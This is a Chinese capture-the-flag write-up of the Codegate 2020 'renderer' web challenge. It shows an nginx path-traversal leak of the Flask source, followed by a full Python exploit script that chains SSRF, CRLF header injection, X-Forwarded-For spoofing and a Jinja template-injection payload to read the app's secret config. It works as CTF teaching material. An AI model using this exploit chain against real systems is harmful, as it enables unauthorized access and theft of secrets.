codegate-2020 renderer

利用nginx配置不当导致的目录遍历漏洞泄漏出文件
http://58.229.253.144/static../src/uwsgi.ini

[uwsgi]
chdir = /home/src
module = run
callable = app
processes = 4
uid = www-data
gid = www-data
socket = /tmp/renderer.sock
chmod-socket = 666
vacuum = true
daemonize = /tmp/uwsgi.log
die-on-term = true
pidfile = /tmp/renderer.pid

http://58.229.253.144/static../cleaner.sh

#!/bin/bash


while true
do
  rm /home/tickets/*
  sleep 3600
done

结合flask目录结构,深挖src目录
https://blog.csdn.net/weixin_44403501/article/details/88733895
http://58.229.253.144/static../src/app/__init__.py
http://58.229.253.144/static../src/app/__init__.py

from flask import Flask
from app import routes #看这一句
import os

app = Flask(__name__)
app.url_map.strict_slashes = False
app.register_blueprint(routes.front, url_prefix="/renderer")
app.config["FLAG"] = os.getenv("FLAG", "CODEGATE2020{}")

看第二句可以继续挖掘
http://58.229.253.144/static../src/app/routes.py

from flask import Flask, render_template, render_template_string, request, redirect, abort, Blueprint
import urllib2
import time
import hashlib

from os import path
from urlparse import urlparse

front = Blueprint("renderer", __name__)

@front.before_request
def test():
    print(request.url)

@front.route("/", methods=["GET", "POST"])
def index():
    if request.method == "GET":
        return render_template("index.html")
    
    url = request.form.get("url") # 访问该url
    res = proxy_read(url) if url else False
    if not res:
        abort(400)

    return render_template("index.html", data = res)

@front.route("/whatismyip", methods=["GET"])
def ipcheck():
    return render_template("ip.html", ip = get_ip(), real_ip = get_real_ip())

@front.route("/admin", methods=["GET"])
def admin_access():
    ip = get_ip()
    rip = get_real_ip()

    if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)
        abort(403)

    if ip != rip: #if use proxy
        ticket = write_log(rip)
        return render_template("admin_remote.html", ticket = ticket)

    else:
        if ip == "127.0.0.2" and request.args.get("body"):
            ticket = write_extend_log(rip, request.args.get("body"))
            return render_template("admin_local.html", ticket = ticket)
        else:
            return render_template("admin_local.html", ticket = None)

@front.route("/admin/ticket", methods=["GET"])
def admin_ticket():
    ip = get_ip()
    rip = get_real_ip()

    if ip != rip: #proxy doesn't allow to show ticket
        print 1
        abort(403)
    if ip not in ["127.0.0.1", "127.0.0.2"]: #only local
        print 2
        abort(403)
    if request.headers.get("User-Agent") != "AdminBrowser/1.337":
        print request.headers.get("User-Agent")
        abort(403)
    
    if request.args.get("ticket"):
        log = read_log(request.args.get("ticket"))
        if not log:
            print 4
            abort(403)
        return render_template_string(log)

def get_ip():
    return request.remote_addr

def get_real_ip():
    return request.headers.get("X-Forwarded-For") or get_ip()

def proxy_read(url):
    #TODO : implement logging
    
    s = urlparse(url).scheme
    if s not in ["http", "https"]: #sjgdmfRk akfRk
        return ""

    return urllib2.urlopen(url).read()

def write_log(rip):
    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
    with open("/home/tickets/%s" % tid, "w") as f:
        log_str = "Admin page accessed from %s" % rip
        f.write(log_str)
    
    return tid

def write_extend_log(rip, body):
    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
    with open("/home/tickets/%s" % tid, "w") as f:
        f.write(body)

    return tid

def read_log(ticket):
    if not (ticket and ticket.isalnum()):
        return False
    
    if path.exists("/home/tickets/%s" % ticket):
        with open("/home/tickets/%s" % ticket, "r") as f:
            return f.read()
    else:
        return False

import requests
from urllib import parse
import re,os,sys
# ip与代理ip不一致,将X-Forwarder-for写入文件
def write_ticket():
	url = 'http://110.10.147.169/renderer'
	payload = """http://127.0.0.1/renderer/admin?a=1""" + \
	" HTTP/1.1\r\n"+\
	"X-Forwarded-For: 127.0.0.2{{config.items()}}\r\n" +\
	"Header2: x\r\n"
	data = {'url':payload}
	r = requests.post(url=url,data=data)
	res = re.findall("[a-f0-9]{40}",r.text)
	if res:
		ticket_number = res[0]
		print (ticket_number)
		return ticket_number
	else:
		return None

def check(ticket):
	url = 'http://110.10.147.169/renderer'
	payload = "http://127.0.0.1/static../tickets/" + ticket + \
	" HTTP/1.1\r\n"+\
	"Header2: x\r\n"
	data = {'url':payload}
	r = requests.post(url=url,data=data)
	print (r.text)

def read_flag(ticket):
	url = 'http://110.10.147.169/renderer'
	payload = """http://127.0.0.1/renderer/admin/ticket?ticket=""" + ticket+ \
	" HTTP/1.1\r\n"+\
	"User-Agent: AdminBrowser/1.337\r\n"+\
	"Host: *\r\n" +\
	"X-Forwarded-For: 127.0.0.1\r\n\r\n" +\
	"Header2: x\r\n"
	print (payload)
	data = {'url':payload}
	r = requests.post(url=url,data=data)
	print (r.text)

if __name__ == '__main__':
	# 第一步 利用write_extend_log 将payload写入tickets
	ticket = write_ticket()
	# 第二步 查看是否真的写入
	check(ticket)
	# 读取文件
	read_flag(ticket)
	
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值